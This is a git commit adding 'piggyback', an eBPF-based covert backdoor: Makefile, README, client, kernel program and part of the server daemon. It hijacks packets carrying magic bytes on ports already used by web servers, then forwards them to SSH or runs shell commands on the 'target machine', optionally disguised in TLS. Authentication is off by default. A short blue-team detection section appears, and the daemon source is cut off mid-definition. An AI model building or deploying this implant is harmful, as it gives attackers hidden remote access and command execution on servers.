commit abd95bf366910389f4195a2c1b2087459e29ad79 Author: Dominik Roth Date: Sat Apr 4 18:03:43 2026 +0200 initial commit diff --git a/Makefile b/Makefile new file mode 100644 index 0000000..a5fe42c --- /dev/null +++ b/Makefile @@ -0,0 +1,43 @@ +CC = clang +CFLAGS = -O2 -Wall -Wextra + +BPF_SRC = piggyback.bpf.c +BPF_OBJ = piggyback.bpf.o +SRV_SRC = piggyback.c +SRV_BIN = piggyback +CLI_SRC = pb-client.c +CLI_BIN = pb-client + +# BPF include paths — adjust if headers are elsewhere +BPF_INCLUDES = -I/usr/include/bpf -I/usr/include -I/usr/include/x86_64-linux-gnu + +.PHONY: all clean keygen + +all: $(BPF_OBJ) $(SRV_BIN) $(CLI_BIN) + +# eBPF kernel program — compiled to BPF bytecode +$(BPF_OBJ): $(BPF_SRC) + $(CC) -O2 -target bpf $(BPF_INCLUDES) -c $< -o $@ + +# Server daemon — requires libbpf + libsodium +$(SRV_BIN): $(SRV_SRC) + $(CC) $(CFLAGS) $< -o $@ -lbpf -lsodium -lpthread + +# Client — requires libssl (OpenSSL) for Mode 2 TLS +$(CLI_BIN): $(CLI_SRC) + $(CC) $(CFLAGS) $< -o $@ -lssl -lcrypto -lpthread + +# Generate Ed25519 keypair for use with -k flag +# Private key: engagement.key (keep offline, never on target) +# Public key: engagement.pub.hex (pass to daemon via -k) +keygen: + @openssl genpkey -algorithm ed25519 -out engagement.key + @openssl pkey -in engagement.key -pubout -out engagement.pub + @echo "" + @echo "Public key hex (pass to daemon with -k):" + @openssl pkey -in engagement.key -pubout -outform DER | tail -c 32 | xxd -p | tr -d '\n' | tr 'a-f' 'A-F' + @echo "" + @echo "Private key: engagement.key — keep offline, never copy to target" + +clean: + rm -f $(BPF_OBJ) $(SRV_BIN) $(CLI_BIN) engagement.key engagement.pub diff --git a/README.md b/README.md new file mode 100644 index 0000000..a2a5c0c --- /dev/null +++ b/README.md @@ -0,0 +1,165 @@ +# piggyback + +Covert channel using Linux TC eBPF. Intercepts TCP packets on a port already in use, +steals matching ones before the application sees them, and forwards or executes them. +Normal traffic is unaffected. Zero changes to existing services. + +``` +Mode 1 — Plain TCP + Client Server (:80) + │── TCP packet ────────────→ TC eBPF ingress + │ [MAGIC][header][payload] magic match? + │ YES → TC_ACT_STOLEN → daemon + │ NO → TC_ACT_OK → app (nginx etc.) + +Mode 2 — Client wraps in legitimate TLS (middleware terminates SSL) + Client Middleware (:443) Server (:80) + │── valid TLS ──→ │ │ + │ [MAGIC] │── [MAGIC][...] ────────→ TC eBPF ingress + │ inside │ (inner bytes fwd) magic match? → same as Mode 1 +``` + +Mode 2 is identical server-side. Client establishes real TLS with a configurable +SNI so middleware routing works. Server never handles TLS — simpler, smaller surface. + +--- + +## Requirements + +- Linux 5.8+ (ring buffer + sk_lookup) +- Root / `CAP_NET_ADMIN` + `CAP_BPF` +- `libbpf`, `clang`, `llvm`, `bpftool`, `libsodium`, `libssl` + +```bash +# Fedora +sudo dnf install libbpf-devel clang llvm kernel-headers bpftool libsodium-devel openssl-devel +# Debian/Ubuntu +sudo apt install libbpf-dev clang llvm linux-headers-$(uname -r) bpftool libsodium-dev libssl-dev +``` + +--- + +## Configuration + +All config is compile-time. Edit the constants at the top of each file, then `make`. + +### `piggyback.bpf.c` — eBPF kernel program +```c +#define PORTS { 80, 8080 } // TCP ports to watch (must match daemon LISTEN_PORT) +#define PORTS_N 2 +#define MAGIC "\xDE\xAD\xC0\xDE\xCA\xFE" // magic byte sequence (keep in sync) +``` + +### `piggyback.c` — server daemon +```c +#define IFACE "" // "" = auto-detect default-route interface +#define LISTEN_PORT 80 // must match eBPF PORTS array +#define FWD_HOST "127.0.0.1" // default forward target (no-auth mode) +#define FWD_PORT 22 // default forward target port +#define SERVER_IP "1.2.3.4" // own public IPv4 (used in sig replay check) +#define VERBOSE 0 + +#define AUTH_ENABLED 0 // 1 = require Ed25519 signature on every connection +#define TRUSTED_PUBKEY { 0xAB, 0xCD, ... } // 32-byte pubkey from `make keygen` +``` + +### `pb-client.c` — client +```c +#define SERVER_IP "1.2.3.4" +#define SERVER_PORT 80 +#define LOCAL_PORT 2222 // ssh -p 2222 localhost + +#define CLIENT_MODE MODE_TCP // MODE_TCP or MODE_TLS +#define SNI "" // required for MODE_TLS — change per engagement + +#define KEY_PATH "" // Ed25519 private key PEM, or "" to disable auth +#define CLIENT_ACTION ACTION_FORWARD // ACTION_FORWARD or ACTION_SHELL +#define TARGET_IP "127.0.0.1" // forward target (ACTION_FORWARD) +#define TARGET_PORT 22 +#define SHELL_CMD "bash" // (ACTION_SHELL) +``` + +> **SNI note**: using the same SNI across deployments is a fingerprint. Change per engagement. + +--- + +## Build + +```bash +make +``` + +### Generate Ed25519 keypair (for auth) +```bash +make keygen +# Prints public key hex → paste into TRUSTED_PUBKEY in piggyback.c +# Saves engagement.key → set as KEY_PATH in pb-client.c (never copy to target) +``` + +--- + +## Usage + +```bash +# Server (target machine) +sudo ./piggyback + +# Client (operator machine) +./pb-client + +# Then connect locally +ssh -p 2222 user@localhost +``` + +No CLI flags — all config is baked into the binary at compile time. + +--- + +## Auth flow (AUTH_ENABLED=1) + +1. `make keygen` — generate Ed25519 keypair +2. Set `TRUSTED_PUBKEY` in `piggyback.c`, `AUTH_ENABLED=1`, recompile daemon +3. Set `KEY_PATH` in `pb-client.c`, recompile client +4. Client sends: `MAGIC` (6 bytes) + signed 80-byte header + optional shell cmd +5. Daemon verifies Ed25519 sig, checks timestamp (±60s window), checks replay ring +6. On pass: dispatches action from header (`ACTION_FORWARD` or `ACTION_SHELL`) +7. On fail: connection dropped silently + +Signed header format (80 bytes): +``` +[0..7] unix timestamp, big-endian uint64 +[8] action (0x01 = forward, 0x02 = shell) +[9..12] target IPv4 (forward) or zeros +[13..14] target port big-endian or zeros +[15] reserved +[16..79] Ed25519 sig over bytes [0..15] + SERVER_IP (4 bytes) +``` + +Signature covers `SERVER_IP` — a captured packet cannot be replayed to a different host. + +--- + +## Detection (Blue Team) + +```bash +tc filter show dev eth0 ingress # TC eBPF filters on interface +bpftool prog list # all loaded eBPF programs +bpftool map list # eBPF maps (look for conn_state, pending, daemon_sock) +``` + +Baseline `bpftool prog list` on clean systems. Alert on new TC ingress programs +on internet-facing interfaces. + +--- + +## Known Limitations + +- **ACTION_FORWARD target is IPv4 only** — the signed header has 4 bytes for target IP; + IPv6 forward targets require header format extension +- **Replay ring is size-bounded** — 256 entries evicted by overwrite, not by time expiry; + with REPLAY_WINDOW_SEC=30 this is sufficient for normal use +- **sk_lookup may fail on some kernels** — daemon logs a warning and falls back to + connect-back mode (works except behind strict NAT) +- **Magic must fit in first ~6 TCP payload bytes** — split across segments handled + by per-connection eBPF state machine, but only within a 6-byte sliding window + per packet; edge cases with very small MSS possible diff --git a/pb-client.c b/pb-client.c new file mode 100644 index 0000000..aa96601 --- /dev/null +++ b/pb-client.c @@ -0,0 +1,339 @@ +// pb-client.c — piggyback client +// +// All configuration is via compile-time constants below. +// Build: make Run: ./pb-client +// +// Mode 1 (CLIENT_MODE = MODE_TCP): +// Plain TCP to server, sends MAGIC prefix, splices traffic. +// +// Mode 2 (CLIENT_MODE = MODE_TLS): +// Genuine TLS connection to middleware (SNI required). +// Middleware decrypts and forwards inner bytes to plain TCP backend. +// Server-side eBPF sees raw MAGIC as in Mode 1. +// +// Auth (KEY_PATH != ""): +// Sends Ed25519-signed 80-byte header after MAGIC. +// Required when daemon has AUTH_ENABLED=1. + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include +#include + +// ── Engagement Configuration ────────────────────────────────────────────────── +// Edit these before compiling. + +#define SERVER_IP "1.2.3.4" // target server IP or hostname +#define SERVER_PORT 80 // target port +#define LOCAL_PORT 2222 // local listener port (ssh -p LOCAL_PORT localhost) + +// Connection mode +#define CLIENT_MODE MODE_TCP // MODE_TCP or MODE_TLS +#define SNI "" // SNI hostname — required for MODE_TLS + +// Auth — leave KEY_PATH "" to disable (no signed header sent) +// Run `make keygen` to generate keypair. Set AUTH_ENABLED=1 in daemon. +#define KEY_PATH "" // e.g. "engagement.key" (PEM, Ed25519 private key) +#define CLIENT_ACTION ACTION_FORWARD // ACTION_FORWARD or ACTION_SHELL +#define TARGET_IP "127.0.0.1" // forward target IPv4 (ACTION_FORWARD) +#define TARGET_PORT 22 // forward target port (ACTION_FORWARD) +#define SHELL_CMD "bash" // shell command (ACTION_SHELL) + +#define VERBOSE 0 // 1 = debug logging + +// ── Shared constants (must match piggyback.bpf.c / piggyback.c) ────────────── + +#define MAGIC "\xDE\xAD\xC0\xDE\xCA\xFE" +#define MAGIC_LEN 6 +#define HEADER_LEN 80 // 16 bytes fields + 64 bytes Ed25519 signature + +#define ACTION_FORWARD 0x01 +#define ACTION_SHELL 0x02 + +// ── Mode enum ───────────────────────────────────────────────────────────────── + +typedef enum { MODE_TCP, MODE_TLS } client_mode_t; + +// ── Globals ─────────────────────────────────────────────────────────────────── + +static volatile int running = 1; +static SSL_CTX *ssl_ctx = NULL; + +// ── Logging ─────────────────────────────────────────────────────────────────── + +#define log_info(fmt, ...) fprintf(stdout, "[+] " fmt "\n", ##__VA_ARGS__) +#define log_err(fmt, ...) fprintf(stderr, "[-] " fmt "\n", ##__VA_ARGS__) +#define log_dbg(fmt, ...) do { if (VERBOSE) fprintf(stdout, "[.] " fmt "\n", ##__VA_ARGS__); } while(0) + +// ── Abstract I/O over plain TCP or TLS ─────────────────────────────────────── + +struct conn { int fd; SSL *ssl; }; + +static ssize_t conn_read(struct conn *c, void *buf, size_t len) { + return c->ssl ? SSL_read(c->ssl, buf, (int)len) : read(c->fd, buf, len); +} +static ssize_t conn_write(struct conn *c, const void *buf, size_t len) { + return c->ssl ? SSL_write(c->ssl, buf, (int)len) : write(c->fd, buf, len); +} +static void conn_close(struct conn *c) { + if (c->ssl) { SSL_shutdown(c->ssl); SSL_free(c->ssl); c->ssl = NULL; } + if (c->fd >= 0) { close(c->fd); c->fd = -1; } +} + +// ── Bidirectional splice ────────────────────────────────────────────────────── + +static void splice_loop(int local_fd, struct conn *remote) { + int epfd = epoll_create1(0); + struct epoll_event ev, evs[2]; + char buf[65536]; + + ev.events = EPOLLIN | EPOLLERR | EPOLLHUP; + ev.data.fd = local_fd; epoll_ctl(epfd, EPOLL_CTL_ADD, local_fd, &ev); + ev.data.fd = remote->fd; epoll_ctl(epfd, EPOLL_CTL_ADD, remote->fd, &ev); + + while (running) { + int n = epoll_wait(epfd, evs, 2, 1000); + for (int i = 0; i < n; i++) { + if (evs[i].events & (EPOLLERR | EPOLLHUP)) goto done; + if (evs[i].data.fd == local_fd) { + ssize_t r = read(local_fd, buf, sizeof(buf)); + if (r <= 0) goto done; + ssize_t w = 0; + while (w < r) { ssize_t s = conn_write(remote, buf+w, r-w); if (s<=0) goto done; w+=s; } + } else { + ssize_t r = conn_read(remote, buf, sizeof(buf)); + if (r <= 0) goto done; + ssize_t w = 0; + while (w < r) { ssize_t s = write(local_fd, buf+w, r-w); if (s<=0) goto done; w+=s; } + } + } + } +done: + close(epfd); +} + +// ── Ed25519 signed header ───────────────────────────────────────────────────── +// +// Sends 80 bytes after MAGIC: +// [0..7] timestamp big-endian uint64 +// [8] action +// [9..12] target IPv4 (ACTION_FORWARD) or zeros +// [13..14] target port big-endian or zeros +// [15] reserved +// [16..79] Ed25519 sig over bytes [0..15] + server_ip[4] + +static int send_auth_header(struct conn *remote, uint32_t server_ip_be) { + uint8_t fields[16] = {0}; + + uint64_t ts = (uint64_t)time(NULL); + for (int i = 7; i >= 0; i--) { fields[i] = ts & 0xff; ts >>= 8; } + + fields[8] = CLIENT_ACTION; + + if (CLIENT_ACTION == ACTION_FORWARD) { + uint32_t tip = 0; + inet_pton(AF_INET, TARGET_IP, &tip); + memcpy(fields + 9, &tip, 4); + uint16_t tport = htons(TARGET_PORT); + memcpy(fields + 13, &tport, 2); + } + + uint8_t msg[20]; + memcpy(msg, fields, 16); + memcpy(msg + 16, &server_ip_be, 4); + + FILE *f = fopen(KEY_PATH, "r"); + if (!f) { perror("fopen privkey"); return -1; } + EVP_PKEY *pkey = PEM_read_PrivateKey(f, NULL, NULL, NULL); + fclose(f); + if (!pkey) { ERR_print_errors_fp(stderr); return -1; } + + EVP_MD_CTX *ctx = EVP_MD_CTX_new(); + size_t siglen = 64; + uint8_t sig[64]; + int ok = ctx && + EVP_DigestSignInit(ctx, NULL, NULL, NULL, pkey) == 1 && + EVP_DigestSign(ctx, sig, &siglen, msg, sizeof(msg)) == 1; + if (ctx) EVP_MD_CTX_free(ctx); + EVP_PKEY_free(pkey); + + if (!ok || siglen != 64) { ERR_print_errors_fp(stderr); return -1; } + + uint8_t header[HEADER_LEN]; + memcpy(header, fields, 16); + memcpy(header + 16, sig, 64); + + if (conn_write(remote, header, HEADER_LEN) != HEADER_LEN) { + log_err("write auth header failed"); return -1; + } + return 0; +} + +// ── Connect to server ───────────────────────────────────────────────────────── + +static int tcp_connect(const char *host, int port) { + struct addrinfo hints = { .ai_family = AF_UNSPEC, .ai_socktype = SOCK_STREAM }; + struct addrinfo *res; + char port_str[8]; + snprintf(port_str, sizeof(port_str), "%d", port); + + if (getaddrinfo(host, port_str, &hints, &res) != 0) { + log_err("getaddrinfo(%s:%d) failed", host, port); return -1; + } + int fd = -1; + for (struct addrinfo *r = res; r; r = r->ai_next) { + fd = socket(r->ai_family, r->ai_socktype, 0); + if (fd < 0) continue; + if (connect(fd, r->ai_addr, r->ai_addrlen) == 0) break; + close(fd); fd = -1; + } + freeaddrinfo(res); + if (fd < 0) log_err("connect to %s:%d failed", host, port); + return fd; +} + +// ── Per-connection thread ───────────────────────────────────────────────────── + +struct conn_args { int local_fd; }; + +static void *conn_thread(void *arg) { + struct conn_args *a = arg; + int local_fd = a->local_fd; + free(a); + + struct conn remote = { .fd = -1, .ssl = NULL }; + + remote.fd = tcp_connect(SERVER_IP, SERVER_PORT); + if (remote.fd < 0) goto done; + + if (CLIENT_MODE == MODE_TLS) { + if (!ssl_ctx) { log_err("SSL context not initialized"); goto done; } + remote.ssl = SSL_new(ssl_ctx); + if (!remote.ssl) goto done; + SSL_set_fd(remote.ssl, remote.fd); + if (strlen(SNI) > 0) + SSL_set_tlsext_host_name(remote.ssl, SNI); + if (SSL_connect(remote.ssl) != 1) { + ERR_print_errors_fp(stderr); log_err("TLS handshake failed"); goto done; + } + log_dbg("TLS connected (%s)", SSL_get_cipher(remote.ssl)); + } + + // Send MAGIC + if (conn_write(&remote, MAGIC, MAGIC_LEN) != MAGIC_LEN) { + log_err("write magic failed"); goto done; + } + + // Send signed header if auth enabled + if (strlen(KEY_PATH) > 0) { + uint32_t server_ip_be = 0; + struct addrinfo hints = { .ai_family = AF_INET }; + struct addrinfo *res; + if (getaddrinfo(SERVER_IP, NULL, &hints, &res) == 0) { + server_ip_be = ((struct sockaddr_in *)res->ai_addr)->sin_addr.s_addr; + freeaddrinfo(res); + } + if (send_auth_header(&remote, server_ip_be) != 0) goto done; + log_dbg("auth header sent (action=0x%02x)", CLIENT_ACTION); + + if (CLIENT_ACTION == ACTION_SHELL) { + size_t cmdlen = strlen(SHELL_CMD); + if (conn_write(&remote, SHELL_CMD, cmdlen) != (ssize_t)cmdlen) { + log_err("write shell cmd failed"); goto done; + } + } + } + + log_info("connected [%s%s]", + CLIENT_MODE == MODE_TLS ? "TLS" : "TCP", + strlen(KEY_PATH) > 0 ? " auth=ed25519" : ""); + + splice_loop(local_fd, &remote); + +done: + conn_close(&remote); + close(local_fd); + return NULL; +} + +// ── Signal ──────────────────────────────────────────────────────────────────── + +static void on_signal(int sig __attribute__((unused))) { running = 0; } + +// ── Main ────────────────────────────────────────────────────────────────────── + +int main(void) { + if (CLIENT_MODE == MODE_TLS && strlen(SNI) == 0) { + fprintf(stderr, "[-] SNI must be set for MODE_TLS\n"); return 1; + } + + signal(SIGINT, on_signal); + signal(SIGTERM, on_signal); + signal(SIGPIPE, SIG_IGN); + + // OpenSSL init (needed for key loading even in TCP mode) + SSL_library_init(); + SSL_load_error_strings(); + OpenSSL_add_all_algorithms(); + + if (CLIENT_MODE == MODE_TLS) { + ssl_ctx = SSL_CTX_new(TLS_client_method()); + if (!ssl_ctx) { ERR_print_errors_fp(stderr); return 1; } + SSL_CTX_set_verify(ssl_ctx, SSL_VERIFY_PEER, NULL); + SSL_CTX_set_default_verify_paths(ssl_ctx); + SSL_CTX_set_min_proto_version(ssl_ctx, TLS1_2_VERSION); + } + + int listen_fd = socket(AF_INET, SOCK_STREAM, 0); + int yes = 1; + setsockopt(listen_fd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(yes)); + struct sockaddr_in laddr = { + .sin_family = AF_INET, + .sin_port = htons(LOCAL_PORT), + .sin_addr.s_addr = htonl(INADDR_LOOPBACK), + }; + if (bind(listen_fd, (struct sockaddr *)&laddr, sizeof(laddr)) < 0) { + log_err("bind port %d: %s", LOCAL_PORT, strerror(errno)); return 1; + } + listen(listen_fd, 16); + + log_info("pb-client on 127.0.0.1:%d → %s:%d [%s%s%s%s]", + LOCAL_PORT, SERVER_IP, SERVER_PORT, + CLIENT_MODE == MODE_TLS ? "TLS sni=" : "TCP", + CLIENT_MODE == MODE_TLS ? SNI : "", + strlen(KEY_PATH) > 0 ? " auth=ed25519" : "", + strlen(KEY_PATH) > 0 && CLIENT_ACTION == ACTION_SHELL ? " shell" : ""); + + while (running) { + struct sockaddr_in caddr; + socklen_t clen = sizeof(caddr); + int cfd = accept(listen_fd, (struct sockaddr *)&caddr, &clen); + if (cfd < 0) { if (running) perror("accept"); continue; } + + struct conn_args *a = malloc(sizeof(*a)); + if (!a) { close(cfd); continue; } + a->local_fd = cfd; + + pthread_t tid; + pthread_create(&tid, NULL, conn_thread, a); + pthread_detach(tid); + } + + close(listen_fd); + if (ssl_ctx) SSL_CTX_free(ssl_ctx); + return 0; +} diff --git a/piggyback.bpf.c b/piggyback.bpf.c new file mode 100644 index 0000000..8a5a207 --- /dev/null +++ b/piggyback.bpf.c @@ -0,0 +1,285 @@ +// SPDX-License-Identifier: GPL-2.0 +// +// piggyback.bpf.c — TC ingress + sk_lookup eBPF programs +// +// TC ingress: intercepts TCP packets on configured ports. If payload starts +// with MAGIC bytes (or partial match in progress), steals the packet +// (TC_ACT_STOLEN) and notifies userspace, or passes through (TC_ACT_OK). +// +// sk_lookup: steers new connections flagged by TC into the daemon's +// SO_REUSEPORT socket instead of the application socket. +// +// Supports IPv4 + IPv6. Handles magic split across TCP segments via +// per-connection LRU state map. + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +// AF_ constants — cannot include glibc headers in BPF programs +#define AF_INET 2 +#define AF_INET6 10 + +// ── Configuration ───────────────────────────────────────────────────────────── + +#define PORTS { 80, 8080 } +#define PORTS_N 2 + +#define MAGIC "\xDE\xAD\xC0\xDE\xCA\xFE" +#define MAGIC_LEN 6 + +// Signed header: 16 bytes fields + 64 bytes Ed25519 sig = 80 total +// eBPF only checks structural validity; full Ed25519 verify is in userspace. +#define HEADER_LEN 80 + +// ── Shared types ────────────────────────────────────────────────────────────── + +struct conn_key { + __u8 src_ip[16]; // IPv4: first 4 bytes; IPv6: all 16 + __u16 src_port; + __u8 is_ipv6; + __u8 pad; +}; + +struct event { + __u8 src_ip[16]; + __u16 src_port; + __u8 is_ipv6; + __u8 flags; + __u32 seq; + __u32 ack_seq; + __u8 header[HEADER_LEN]; + __u8 header_valid; +}; + +// ── Maps ────────────────────────────────────────────────────────────────────── + +struct { + __uint(type, BPF_MAP_TYPE_RINGBUF); + __uint(max_entries, 1 << 24); +} events SEC(".maps"); + +// Per-connection magic match state: bytes matched so far (0..MAGIC_LEN) +struct { + __uint(type, BPF_MAP_TYPE_LRU_HASH); + __uint(max_entries, 4096); + __type(key, struct conn_key); + __type(value, __u8); +} conn_state SEC(".maps"); + +// Connections awaiting sk_lookup steering: set by TC, cleared by sk_lookup +struct { + __uint(type, BPF_MAP_TYPE_LRU_HASH); + __uint(max_entries, 4096); + __type(key, struct conn_key); + __type(value, __u8); +} pending SEC(".maps"); + +// Daemon's SO_REUSEPORT socket — populated by userspace after bind +struct { + __uint(type, BPF_MAP_TYPE_SOCKMAP); + __uint(max_entries, 1); + __type(key, __u32); + __type(value, __u32); +} daemon_sock SEC(".maps"); + +struct { + __uint(type, BPF_MAP_TYPE_ARRAY); + __uint(max_entries, 4); + __type(key, __u32); + __type(value, __u64); +} stats SEC(".maps"); + +#define STAT_TOTAL 0 +#define STAT_MAGIC 1 +#define STAT_PASSED 2 +#define STAT_PARTIAL 3 + +static __always_inline void inc_stat(__u32 idx) { + __u64 *v = bpf_map_lookup_elem(&stats, &idx); + if (v) __sync_fetch_and_add(v, 1); +} + +// ── Helpers ─────────────────────────────────────────────────────────────────── + +static __always_inline int port_watched(__u16 port_be) { + __u16 ports[] = PORTS; + __u16 p = bpf_ntohs(port_be); + if (PORTS_N > 0 && p == ports[0]) return 1; + if (PORTS_N > 1 && p == ports[1]) return 1; + if (PORTS_N > 2 && p == ports[2]) return 1; + if (PORTS_N > 3 && p == ports[3]) return 1; + return 0; +} + +static __always_inline __u8 magic_at(__u8 idx) { + const __u8 magic[] = MAGIC; + if (idx < MAGIC_LEN) return magic[idx]; + return 0; +} + +// ── TC ingress ──────────────────────────────────────────────────────────────── + +SEC("tc") +int piggyback_ingress(struct __sk_buff *skb) { + void *data = (void *)(long)skb->data; + void *data_end = (void *)(long)skb->data_end; + + inc_stat(STAT_TOTAL); + + struct ethhdr *eth = data; + if ((void *)(eth + 1) > data_end) return TC_ACT_OK; + + __u8 is_ipv6 = 0; + __u8 src_ip[16] = {}; + void *transport; + + if (eth->h_proto == bpf_htons(ETH_P_IP)) { + struct iphdr *ip = (void *)(eth + 1); + if ((void *)(ip + 1) > data_end) return TC_ACT_OK; + if (ip->protocol != IPPROTO_TCP) return TC_ACT_OK; + __builtin_memcpy(src_ip, &ip->saddr, 4); + transport = (void *)ip + ip->ihl * 4; + + } else if (eth->h_proto == bpf_htons(ETH_P_IPV6)) { + struct ipv6hdr *ip6 = (void *)(eth + 1); + if ((void *)(ip6 + 1) > data_end) return TC_ACT_OK; + if (ip6->nexthdr != IPPROTO_TCP) return TC_ACT_OK; + __builtin_memcpy(src_ip, &ip6->saddr, 16); + is_ipv6 = 1; + transport = (void *)(ip6 + 1); + } else { + return TC_ACT_OK; + } + + struct tcphdr *tcp = transport; + if ((void *)(tcp + 1) > data_end) return TC_ACT_OK; + if (!port_watched(tcp->dest)) return TC_ACT_OK; + + __u32 tcp_hlen = tcp->doff * 4; + __u8 *payload = (__u8 *)tcp + tcp_hlen; + if ((void *)payload > data_end) return TC_ACT_OK; + __u32 payload_len = (__u8 *)data_end - payload; + + struct conn_key ck = {}; + __builtin_memcpy(ck.src_ip, src_ip, 16); + ck.src_port = tcp->source; + ck.is_ipv6 = is_ipv6; + + // ── Multi-packet state machine ──────────────────────────────────────────── + __u8 *state_p = bpf_map_lookup_elem(&conn_state, &ck); + __u8 matched = state_p ? *state_p : 0; + + // Unrolled byte walk — verifier requires bounded, known iterations + #define TRY_BYTE(i) \ + if ((void *)(payload + (i) + 1) <= data_end) { \ + __u8 b = payload[(i)]; \ + if (b == magic_at(matched)) { \ + matched++; \ + } else { \ + matched = (b == magic_at(0)) ? 1 : 0; \ + } \ + } + + TRY_BYTE(0) + TRY_BYTE(1) + TRY_BYTE(2) + TRY_BYTE(3) + TRY_BYTE(4) + TRY_BYTE(5) + + #undef TRY_BYTE + + if (matched < MAGIC_LEN) { + if (matched > 0) { + bpf_map_update_elem(&conn_state, &ck, &matched, BPF_ANY); + inc_stat(STAT_PARTIAL); + } else { + bpf_map_delete_elem(&conn_state, &ck); + } + goto pass; + } + + // ── Magic matched ───────────────────────────────────────────────────────── + bpf_map_delete_elem(&conn_state, &ck); + + { + struct event *e = bpf_ringbuf_reserve(&events, sizeof(*e), 0); + if (!e) return TC_ACT_OK; // ring buffer full — pass, don't drop silently + + __builtin_memcpy(e->src_ip, src_ip, 16); + e->src_port = tcp->source; + e->is_ipv6 = is_ipv6; + e->flags = ((__u8 *)tcp)[13]; + e->seq = tcp->seq; + e->ack_seq = tcp->ack_seq; + e->header_valid = 0; + + // Capture signed header bytes after magic for userspace Ed25519 verify + if (payload_len >= MAGIC_LEN + HEADER_LEN) { + __u32 hdr_offset = (__u8 *)payload - (__u8 *)data + MAGIC_LEN; + if (bpf_skb_load_bytes(skb, hdr_offset, e->header, HEADER_LEN) == 0) + e->header_valid = 1; + } + + // Mark connection pending for sk_lookup steering + __u8 one = 1; + bpf_map_update_elem(&pending, &ck, &one, BPF_ANY); + + bpf_ringbuf_submit(e, 0); + inc_stat(STAT_MAGIC); + return TC_ACT_STOLEN; + } + +pass: + inc_stat(STAT_PASSED); + return TC_ACT_OK; +} + +// ── sk_lookup ───────────────────────────────────────────────────────────────── +// +// Runs when kernel looks up a socket for an incoming connection. +// If the connection is in pending map (flagged by TC), redirect to daemon socket. + +SEC("sk_lookup") +int piggyback_lookup(struct bpf_sk_lookup *ctx) { + struct conn_key ck = {}; + + if (ctx->family == AF_INET) { + __builtin_memcpy(ck.src_ip, &ctx->remote_ip4, 4); + ck.is_ipv6 = 0; + } else if (ctx->family == AF_INET6) { + __builtin_memcpy(ck.src_ip, ctx->remote_ip6, 16); + ck.is_ipv6 = 1; + } else { + return SK_PASS; + } + + // remote_port in bpf_sk_lookup is __be16 (network byte order) + ck.src_port = ctx->remote_port; + + __u8 *p = bpf_map_lookup_elem(&pending, &ck); + if (!p) return SK_PASS; + + __u32 key = 0; + struct bpf_sock *sk = bpf_map_lookup_elem(&daemon_sock, &key); + if (!sk) return SK_PASS; + + long ret = bpf_sk_assign(ctx, sk, 0); + bpf_sk_release(sk); + + if (ret == 0) + bpf_map_delete_elem(&pending, &ck); + + // SK_PASS after bpf_sk_assign means "use the assigned socket" + return SK_PASS; +} + +char LICENSE[] SEC("license") = "GPL"; diff --git a/piggyback.c b/piggyback.c new file mode 100644 index 0000000..74c9d58 --- /dev/null +++ b/piggyback.c @@ -0,0 +1,539 @@ +// piggyback.c — userspace daemon +// +// Loads TC eBPF + sk_lookup programs, registers daemon socket, +// polls ring buffer, verifies Ed25519 signatures, dispatches connections. +// +// All configuration is via compile-time constants below. +// Build: make Run: sudo ./piggyback + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include + +// ── Engagement Configuration ────────────────────────────────────────────────── +// Edit these before compiling. Run `make keygen` to generate a keypair. + +#define IFACE "" // "" = auto-detect default-route interface; or set e.g. "eth0" +#define LISTEN_PORT 80 // must match PORTS in piggyback.bpf.c +#define FWD_HOST "127.0.0.1" // default forward target (no-auth mode) +#define FWD_PORT 22 // default forward target port +#define SERVER_IP "0.0.0.0" // own IPv4, included in signed message for replay prevention +#define VERBOSE 0 // 1 = debug logging + +// Ed25519 auth. +// Set AUTH_ENABLED=1 and paste the 32-byte pubkey hex from `make keygen`. +// Leave AUTH_ENABLED=0 to accept any magic packet without signature check. +#define AUTH_ENABLED 0 +#define TRUSTED_PUBKEY { \ + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \ + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \ + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \ + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 \ +} + +// ── Shared constants (must match piggyback.bpf.c) ──────────────────────────── + +#define MAGIC "\xDE\xAD\xC0\xDE\xCA\xFE" +#define MAGIC_LEN 6 +#define HEADER_LEN 80 // 16 bytes fields + 64 bytes Ed25519 signature + +#define HDR_TIMESTAMP_OFF 0 +#define HDR_ACTION_OFF 8 +#define HDR_TARGET_IP_OFF 9 +#define HDR_TARGET_PORT_OFF 13 +#define HDR_SIG_OFF 16 +#define HDR_MSG_LEN 20 // 16 header bytes + 4 server IP bytes + +#define ACTION_FORWARD 0x01 +#define ACTION_SHELL 0x02 + +#define REPLAY_RING_SIZE 256 +#define TIMESTAMP_WINDOW 60 // seconds + +// ── Event struct (must match piggyback.bpf.c) ───────────────────────────────── + +struct event { + uint8_t src_ip[16]; + uint16_t src_port; + uint8_t is_ipv6; + uint8_t flags; + uint32_t seq; + uint32_t ack_seq; + uint8_t header[HEADER_LEN]; + uint8_t header_valid; +}; + +// ── Globals ─────────────────────────────────────────────────────────────────── + +static const uint8_t trusted_pubkey[] = TRUSTED_PUBKEY; +static uint8_t server_ip_bytes[4]; // parsed from SERVER_IP at startup + +static volatile int running = 1; +static unsigned int ifindex = 0; +static char iface_name[64]; +static struct bpf_object *obj = NULL; +static int accept_fd = -1; + +// ── Interface auto-detection ────────────────────────────────────────────────── + +static int get_default_iface(char *buf, size_t len) { + FILE *f = fopen("/proc/net/route", "r"); + if (!f) return -1; + char line[256]; + fgets(line, sizeof(line), f); // skip header + while (fgets(line, sizeof(line), f)) { + char iface[64]; + unsigned int dest; + if (sscanf(line, "%63s %x", iface, &dest) == 2 && dest == 0) { + strncpy(buf, iface, len-1); + fclose(f); + return 0; + } + } + fclose(f); + return -1; +} + +// ── Logging ─────────────────────────────────────────────────────────────────── + +#define log_info(fmt, ...) fprintf(stdout, "[+] " fmt "\n", ##__VA_ARGS__) +#define log_err(fmt, ...) fprintf(stderr, "[-] " fmt "\n", ##__VA_ARGS__) +#define log_dbg(fmt, ...) do { if (VERBOSE) fprintf(stdout, "[.] " fmt "\n", ##__VA_ARGS__); } while(0) + +// ── Replay ring ─────────────────────────────────────────────────────────────── + +struct replay_entry { + uint32_t src_ip; + uint64_t 